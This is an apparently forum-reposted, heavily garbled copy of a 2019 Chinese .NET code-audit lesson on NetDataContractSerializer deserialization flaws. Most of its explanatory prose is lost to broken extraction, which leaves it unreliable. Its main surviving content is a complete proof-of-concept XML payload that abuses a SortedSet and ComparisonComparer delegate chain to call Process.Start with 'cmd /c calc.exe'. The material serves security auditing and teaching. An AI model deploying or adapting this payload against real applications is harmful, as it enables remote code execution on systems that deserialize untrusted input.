[2098] 2019-04-11_.NET高级代码审计(第七课)NetDataContractSerializer反序列化漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-16
2019-04-11_.NET高级代码审计(第七课)NetDataContractSerializer反序列化漏洞 . N E T   N e t D a t a C o n t r a c t S e r i a l i z e r   I v a n 1 e e   d o t N e t   2 0 1 9 - 0 4 - 1 1 N e t D a t a C o n t r a c t S e r i a l i z e r D a t a C o n t r a c t S e r i a l i z e r W i n d o w s   C o m m u n i c a t i o n   F o u n d a t i o n   ( W C F )     N e t D a t a C o n t r a c t S e r i a l i z e r   C L R C L R D a t a C o n t r a c t S e r i a l i z e r     使   C L R   使   N e t D a t a C o n t r a c t S e r i a l i z e r 使   W r i t e O b j e c t S e r i a l i z e   X M L 使 R e a d O b j e c t D e s e r i a l i z e X M L R C E 使 W r i t e O b j e c t S e r i a l i z e 便 . N E T X M L N e t D a t a C o n t r a c t S e r i a l i z e r X M L 使 z : I d X M L D a t a C o n t r a c t S e r i a l i z e r T e s t C l a s s C l a s s M e t h o d   使 S e r i a l i z e T e s t C l a s s x m l < T e s t C l a s s z : I d = " 1 " z : T y p e = " W p f A p p 1 . T e s t C l a s s " z : A s s e m b l y = " W p f A p p 1 , V e r s i o n = 1 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = n u l l " x m l n s = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / W p f A p p 1 " x m l n s : i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e " x m l n s : z = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / " > < a g e > 1 8 < / a g e > < c l a s s n a m e z : I d = " 2 " > 3 6 0 < / c l a s s n a m e > < n a m e z : I d = " 3 " > I v a n 1 e e < / n a m e > < / T e s t C l a s s > 3 . 1 N e t D a t a C o n t r a c t S e r i a l i z e r X M L R e a d O b j e c t S e r i a l i z e X m l O b j e c t S e r i a l i z e r I F o r m a t t e r N e t D a t a C o n t r a c t S e r i a l i z e r X m l O b j e c t S e r i a l i z e r W r i t e O b j e c t R e a d O b j e c t I F o r m a t t e r D e s e r i a l i z e D e s e r i a l i z e R e a d O b j e c t
N a m e 3 . 2 M u l t i c a s t D e l e g a t e 广 M u l t i c a s t D e l e g a t e   D e l e g a t e M u l t i c a s t D e l e g a t e M u l t i c a s t D e l e g a t e _ i n v o c a t i o n L i s t 使 G e t I n v o c a t i o n L i s t c a l c . e x e G e t I n v o c a t i o n L i s t C o m p a r i s o n < T > S y s t e m . C o l l e c t i o n s . G e n e r i c C o m p a r i s o n 使 D e l e g a t e M u l t i c a s t D e l e g a t e C o m b i n e C o m p a r i s o n 使 C o m p a r e r < T > C r e a t e . N E T 使 S o r t e d S e t < T > C o m p a r e r 广 G e t I n v o c a t i o n L i s t _ I n v o c a t i o n L i s t F u n c P r o c e s s p o c 4 . 1 D e s e r i a l i z e P a t h 4 . 2 R e a d O b j e c t 1 .        
2 .         p o c   x m l 2 0 0 < A r r a y O f s t r i n g z : I d = " 1 " z : T y p e = " S y s t e m . C o l l e c t i o n s . G e n e r i c . S o r t e d S e t ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] " z : A s s e m b l y = " S y s t e m , V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " x m l n s : i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e " x m l n s : x = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a " x m l n s : z = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / " > < C o u n t z : I d = " 2 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " x m l n s = " " > 2 < / C o u n t > < C o m p a r e r z : I d = " 3 " z : T y p e = " S y s t e m . C o l l e c t i o n s . G e n e r i c . C o m p a r i s o n C o m p a r e r ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] " z : A s s e m b l y = " 0 " x m l n s = " " > < _ c o m p a r i s o n z : I d = " 4 " z : F a c t o r y T y p e = " a : D e l e g a t e S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . D e l e g a t e S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . C o l l e c t i o n s . G e n e r i c " x m l n s : a = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m " < D e l e g a t e z : I d = " 5 " z : T y p e = " S y s t e m . D e l e g a t e S e r i a l i z a t i o n H o l d e r + D e l e g a t e E n t r y " z : A s s e m b l y = " 0 " x m l n s = " " > < a : a s s e m b l y z : I d = " 6 " > m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 , C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 < / a : a s s e m b l y > < a : d e l e g a t e E n t r y z : I d = " 7 " > < a : a s s e m b l y z : R e f = " 6 " i : n i l = " t r u e " / > < a : d e l e g a t e E n t r y i : n i l = " t r u e " / > < a : m e t h o d N a m e z : I d = " 8 " > C o m p a r e < / a : m e t h o d N a m e > < a : t a r g e t i : n i l = " t r u e " / > < a : t a r g e t T y p e A s s e m b l y z : R e f = " 6 " i : n i l = " t r u e " / > < a : t a r g e t T y p e N a m e z : I d = " 9 " > S y s t e m . S t r i n g < / a : t a r g e t T y p e N a m e > < a : t y p e z : I d = " 1 0 " > S y s t e m . C o m p a r i s o n ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] < / a : t y p e > < / a : d e l e g a t e E n t r y > < a : m e t h o d N a m e z : I d = " 1 1 " > S t a r t < / a : m e t h o d N a m e > < a : t a r g e t i : n i l = " t r u e " / > < a : t a r g e t T y p e A s s e m b l y z : I d = " 1 2 " > S y s t e m ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 < / a : t a r g e t T y p e A s s e m b l y > < a : t a r g e t T y p e N a m e z : I d = " 1 3 " > S y s t e m . D i a g n o s t i c s . P r o c e s s < / a : t a r g e t T y p e N a m e > < a : t y p e z : I d = " 1 4 " > S y s t e m . F u n c ` 3 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] , [ S y s t e m . S t r i n g ,   m s c o r l i b , V e r s i o n = 4 . 0 . 0 . 0 , C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] , [ S y s t e m . D i a g n o s t i c s . P r o c e s s , S y s t e m ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] < / a : t y p e > < / D e l e g a t e > < m e t h o d 0 z : I d = " 1 5 " z : F a c t o r y T y p e = " b : M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . R e f l e c t i o n . M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " " x m l n s : b = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . R e f l e c t i o n " > < N a m e z : R e f = " 1 1 " i : n i l = " t r u e " / > < A s s e m b l y N a m e z : R e f = " 1 2 " i : n i l = " t r u e " / > < C l a s s N a m e z : R e f = " 1 3 " i : n i l = " t r u e " / > < S i g n a t u r e z : I d = " 1 6 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . D i a g n o s t i c s . P r o c e s s   S t a r t ( S y s t e m . S t r i n g , S y s t e m . S t r i n g ) < / S i g n a t u r e > < S i g n a t u r e 2 z : I d = " 1 7 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . D i a g n o s t i c s . P r o c e s s S t a r t ( S y s t e m . S t r i n g ,   S y s t e m . S t r i n g ) < / S i g n a t u r e 2 > < M e m b e r T y p e z : I d = " 1 8 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " > 8 < / M e m b e r T y p e > < G e n e r i c A r g u m e n t s i : n i l = " t r u e " / > < / m e t h o d 0 > < m e t h o d 1 z : I d = " 1 9 " z : F a c t o r y T y p e = " b : M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . R e f l e c t i o n . M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " " x m l n s : b = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . R e f l e c t i o n " > < N a m e z : R e f = " 8 " i : n i l = " t r u e " / > < A s s e m b l y N a m e z : R e f = " 6 " i : n i l = " t r u e " / > < C l a s s N a m e z : R e f = " 9 " i : n i l = " t r u e " / > < S i g n a t u r e z : I d = " 2 0 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > I n t 3 2   C o m p a r e ( S y s t e m . S t r i n g ,   S y s t e m . S t r i n g ) < / S i g n a t u r e > < S i g n a t u r e 2 z : I d = " 2 1 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . I n t 3 2   C o m p a r e ( S y s t e m . S t r i n g , S y s t e m . S t r i n g ) < / S i g n a t u r e 2 > < M e m b e r T y p e z : I d = " 2 2 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " > 8 < / M e m b e r T y p e > < G e n e r i c A r g u m e n t s i : n i l = " t r u e " / > < / m e t h o d 1 > < / _ c o m p a r i s o n > < / C o m p a r e r > < V e r s i o n z : I d = " 2 3 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " x m l n s = " " > 2 < / V e r s i o n > < I t e m s z : I d = " 2 4 " z : T y p e = " S y s t e m . S t r i n g [ ] " z : A s s e m b l y = " 0 " z : S i z e = " 2 " x m l n s = " " > < s t r i n g z : I d = " 2 5 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " > / c   c a l c . e x e < / s t r i n g > < s t r i n g z : I d = " 2 6 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " > c m d < / s t r i n g > < / I t e m s > < / A r r a y O f s t r i n g > N e t D a t a C o n t r a c t S e r i a l i z e r D a t a C o n t r a c t S e r i a l i z e r W C F . N E T   h t t p s : / / g i t h u b . c o m / I v a n 1 e e / h t t p s : / / i v a n 1 e e . g i t b o o k . i o / . N E T . N E T
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则